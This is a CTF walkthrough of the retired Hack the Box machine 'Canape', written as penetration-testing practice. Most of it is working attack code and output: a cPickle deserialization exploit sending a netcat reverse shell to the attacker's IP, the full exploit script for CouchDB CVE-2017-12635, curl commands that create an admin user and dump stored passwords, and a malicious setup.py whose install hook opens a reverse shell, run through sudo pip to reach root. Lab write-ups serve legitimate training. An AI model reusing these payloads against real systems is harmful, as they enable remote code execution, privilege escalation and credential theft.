Today we are going to solve another CTF challenge “Canape” which is available online for those who want to increase their skill in penetration testing and black box testing. Canape is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Intermediate
Task: find user.txt and root.txt file on victim’s machine.
Since these labs are online available therefore they have static IP and IP of Canape is 10.10.10.70 so let’s begin with nmap port enumeration.
root@kali:~/htb/canape# nmap -p- -sV 10.10.10.70 Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-05 19:18 CET Nmap scan report for 10.10.10.70 Host is up (0.044s latency). Not shown: 65533 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) 65535/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 132.24 seconds
As port 80 is running http server, we open the target machine’s IP address in our browser and find that it is a fan site for the Simpsons.
We don’t find anything on the webpage, so we run
root@kali:~/htb/canape# nmap -sV -sC -p 80,65535 10.10.10.70 Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-05 19:32 CET Nmap scan report for 10.10.10.70 Host is up (0.038s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-git: | 10.10.10.70:80/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... | Last commit message: final # Please enter the commit message for your changes. Li... | Remotes: |_ http://git.canape.htb/simpsons.git |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Simpsons Fan Site |_http-trane-info: Problem with XML parsing of /evox/about 65535/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA) | 256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA) |_ 256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (ED25519) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 25.57 seconds
We open the /.git/ directory and find the config file.
When we open the config file, we find a domain name “git.canape.htb”.
Now we have added the domain name of the target machine in /etc/hosts file to access the webpage using IP address as well as domain name.
Now we can clone the local git repository using the following command:
|
|
Here we found out a file named “__init__.py” in Simpsons folder as shown in the image.
After download the files, we open “__init__.py” and find that this program might be vulnerable insecure deserialization as it uses a vulnerable function “cPickel.loads(data)”.
Now we create a program to exploit this vulnerability and get reverse shell.
###Canape cPickle Exploit (run nc -nlvp 443 separately.) #Change host/port to your own ip/desired port. LHOST = "10.10.14.18" LPORT = "443" import requests as rq #For posting request import cPickle #For generating payload import hashlib #For generating MD5 hash as id import os #For creating shell object #Generate payload: class shell(object): def __reduce__(self): return (os.system, ("rm /tmp/shell; mknod /tmp/shell p; nc %s %s < /tmp/shell | /bin/bash > /tmp/shell" % (LHOST, LPORT),)) payload = cPickle.dumps(shell()) #Define post parameters. character = payload+"S'homer'\n" quote = "quote" data = {"character":character,"quote":quote} #Send payload and check reponse. resp = rq.post('http://10.10.10.70/submit',data=data) if "Success" in resp.text: print("Successfully posted.") else: print("Upload error."); sys.exit() #Calculate and load response page, which in turn triggers the exploit. p_id = str(hashlib.md5(character+quote).hexdigest()) print("Executing payload...") rq.post("http://10.10.10.70/check", data={"id":p_id}).text
root@kali:~/htb/canape/simpsons# python pixploit.py
We setup our listener “netcat” before running the python program
root@kali:~/htb/canape/simpsons# nc -lvp 443 listening on [any] 443 ... connect to [10.10.14.15] from git.canape.htb [10.10.10.70] 54668 /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ cat /etc/passwd | grep /bin/bash root:x:0:0:root:/root:/bin/bash homer:x:1000:1000:homer,,,:/home/homer:/bin/bash
$ netstat -antp (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:44732 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:65535 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:5984 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:5986 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:4369 0.0.0.0:* LISTEN - tcp 0 125 10.10.10.70:54668 10.10.14.15:443 ESTABLISHED 18876/nc tcp 1 0 127.0.0.1:33044 127.0.0.1:5984 CLOSE_WAIT - tcp 0 0 10.10.10.70:80 10.10.14.15:35810 ESTABLISHED - tcp 1 0 127.0.0.1:33046 127.0.0.1:5984 CLOSE_WAIT 18871/sh tcp 0 0 127.0.0.1:49880 127.0.0.1:4369 ESTABLISHED - tcp 0 0 127.0.0.1:4369 127.0.0.1:49880 ESTABLISHED - tcp6 0 0 :::65535 :::* LISTEN - tcp6 0 0 :::4369 :::* LISTEN - $
$ curl http://127.0.0.1:5984 % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 91 100 91 0 0 27584 0 --:--:-- --:--:-- --:--:-- 45500 {"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}} $ curl http://127.0.0.1:5984/_all_dbs % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 78 0 78 0 0 24848 0 --:--:-- --:--:-- --:--:-- 39000 ["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
Then we create a user with permissions to read the database with following command.
$ curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:puck' --data-binary '{"type":"user","name":"puck","roles": ["_admin"],"roles": [],"password": "1234567"}' % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 167 100 84 100 83 660 652 --:--:-- --:--:-- --:--:-- 656 {"ok":true,"id":"org.couchdb.user:puck","rev":"1-f93cce0747d99984fe3cd26f8193f20e"}
$ curl http://127.0.0.1:5984/passwords/_all_docs?include_docs=true -u puck:1234567 % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1242 0 1242 0 0 76454 0 --:--:-- --:--:-- --:--:-- 82800 {"total_rows":4,"offset":0,"rows":[ {"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}}, {"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"}}, {"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"}}, {"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}} ]}
Or alternatively , couchdb version is vulnerable too (CVE-2017-12635 ‘Apache CouchDB JSON Remote Privilege Escalation Vulnerability’) so I found a publicly available exploit https://www.exploit-db.com/exploits/44498 (to create an user with admin privileges in CouchDB ddbb and… exploit worked!!
root@kali:~/htb# python couchdbprivesc.py usage: couchdbprivesc.py [-h] [-p PORT] [-u USER] [-P PASSWORD] host couchdbprivesc.py: error: too few arguments root@kali:~/htb# cat couchdbprivesc.py #!/usr/bin/env python ''' @author: r4wd3r @license: MIT License @contact: r4wd3r@gmail.com ''' import argparse import re import sys import requests parser = argparse.ArgumentParser( description='Exploits the Apache CouchDB JSON Remote Privilege Escalation Vulnerability' + ' (CVE-2017-12635)') parser.add_argument('host', help='Host to attack.', type=str) parser.add_argument('-p', '--port', help='Port of CouchDB Service', type=str, default='5984') parser.add_argument('-u', '--user', help='Username to create as admin.', type=str, default='couchara') parser.add_argument('-P', '--password', help='Password of the created user.', type=str, default='couchapass') args = parser.parse_args() host = args.host port = args.port user = args.user password = args.password pat_ip = re.compile("^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$") if not pat_ip.match(host): print "[x] Wrong host. Must be a valid IP address." sys.exit(1) print "[+] User to create: " + user print "[+] Password: " + password print "[+] Attacking host " + host + " on port " + port url = 'http://' + host + ':' + port try: rtest = requests.get(url, timeout=10) except requests.exceptions.Timeout: print "[x] Server is taking too long to answer. Exiting." sys.exit(1) except requests.ConnectionError: print "[x] Unable to connect to the remote host." sys.exit(1) # Payload for creating user cu_url_payload = url + "/_users/org.couchdb.user:" + user cu_data_payload = '{"type": "user", "name": "'+user+'", "roles": ["_admin"], "roles": [], "password": "'+password+'"}' try: rcu = requests.put(cu_url_payload, data=cu_data_payload) except requests.exceptions.HTTPError: print "[x] ERROR: Unable to create the user on remote host." sys.exit(1) if rcu.status_code == 201: print "[+] User " + user + " with password " + password + " successfully created." sys.exit(0) else: print "[x] ERROR " + str(rcu.status_code) + ": Unable to create the user on remote host."
www-data@canape:/tmp$ wget http://10.10.14.18/couchdbprivesc.py wget http://10.10.14.18/couchdbprivesc.py --2019-10-27 08:09:55-- http://10.10.14.18/couchdbprivesc.py Connecting to 10.10.14.18:80... connected. HTTP request sent, awaiting response... 200 OK Length: 2131 (2.1K) [text/plain] Saving to: 'couchdbprivesc.py' couchdbprivesc.py 100%[===================>] 2.08K --.-KB/s in 0s 2019-10-27 08:09:55 (368 MB/s) - 'couchdbprivesc.py' saved [2131/2131] www-data@canape:/tmp$ python couchdbprivesc.py -p5984 -u puckie -P style 127.0.0.1 <n couchdbprivesc.py -p5984 -u puckie -P style 127.0.0.1 [+] User to create: puckie [+] Password: style [+] Attacking host 127.0.0.1 on port 5984 [+] User puckie with password style successfully created. www-data@canape:/tmp$
www-data@canape:/tmp$ curl http://127.0.0.1:5984/passwords/_all_docs?include_docs=true -u puckie <http://127.0.0.1:5984/passwords/_all_docs?include_docs=true -u puckie Enter host password for user 'puckie':style {"total_rows":4,"offset":0,"rows":[ {"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}}, {"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"}}, {"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"}}, {"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}} ]} www-data@canape:/tmp$
We login through SSH using the credentials we found earlier “homer:0B4jyA0xtytZi7esBNGp”. After login we find a file ‘user.txt’. We open the file and find our first flag.
After getting the flag, we checked the sudoers list and find homer has permission to run “pip install *” as root user.
root@kali:~/htb/canape/simpsons# ssh homer@10.10.10.70 -p 65535 homer@10.10.10.70's password: 0B4jyA0xtytZi7esBNGp Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage Last login: Tue Feb 5 11:30:15 2019 from 10.10.14.15 homer@canape:~$ 0B4jyA0xtytZi7esBNGp [sudo] password for homer: 0B4jyA0xtytZi7esBNGp Matching Defaults entries for homer on canape: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User homer may run the following commands on canape: (root) /usr/bin/pip install *
Now as we know we can run “pip install *” as root, we are going to abuse it
To exploit this, we can simply create a malicious python package that will run code when it’s installed. To do this we can create a setup.py
file on our attacking box with the following.
import os
import pty
import socket
from setuptools import setup
from setuptools.command.install import install
class MyClass(install):
def run(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.14.15", 443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
setup(
cmdclass={
"install": MyClass
}
)
This basically just tells pip to run MyClass at install, which will send us a reverse shell.
Now we’ll need to package it.
root@kali:~/htb/canape# python setup.py sdist
By default it creates a UNKNOWN-0.0.0.tar.gz
file under dist
, which we can copy out and rename as shell.tar.gz
then copy to our victim.
homer@canape:/tmp$ wget http://10.10.14.15/shell.tar.gz --2019-02-05 11:57:52-- http://10.10.14.15/shell.tar.gz Connecting to 10.10.14.15:80... connected. HTTP request sent, awaiting response... 200 OK Length: 735 [application/gzip] Saving to: ‘shell.tar.gz’ shell.tar.gz 100%[==================================================================================>] 735 --.-KB/s in 0s 2019-02-05 11:57:52 (118 MB/s) - ‘shell.tar.gz’ saved [735/735]
Now we can start a netcat listener and run sudo
with pip install
.
homer@canape:/tmp$ sudo /usr/bin/pip install shell.tar.gz
The directory '/home/homer/.cache/pip/http' or its parent directory is not owned by the current user and the cache has been disabled. Please check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
The directory '/home/homer/.cache/pip' or its parent directory is not owned by the current user and caching wheels has been disabled. check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
Processing ./shell.tar.gz
Installing collected packages: UNKNOWN
Running setup.py install for UNKNOWN ... -
root@kali:~/htb/canape/simpsons# nc -lvp 443 listening on [any] 443 ... connect to [10.10.14.15] from git.canape.htb [10.10.10.70] 54702 root@canape:/tmp/pip-aK4M3e-build# cat /root/root.txt cat /root/root.txt 928*****76d
Author: Jacco Straathof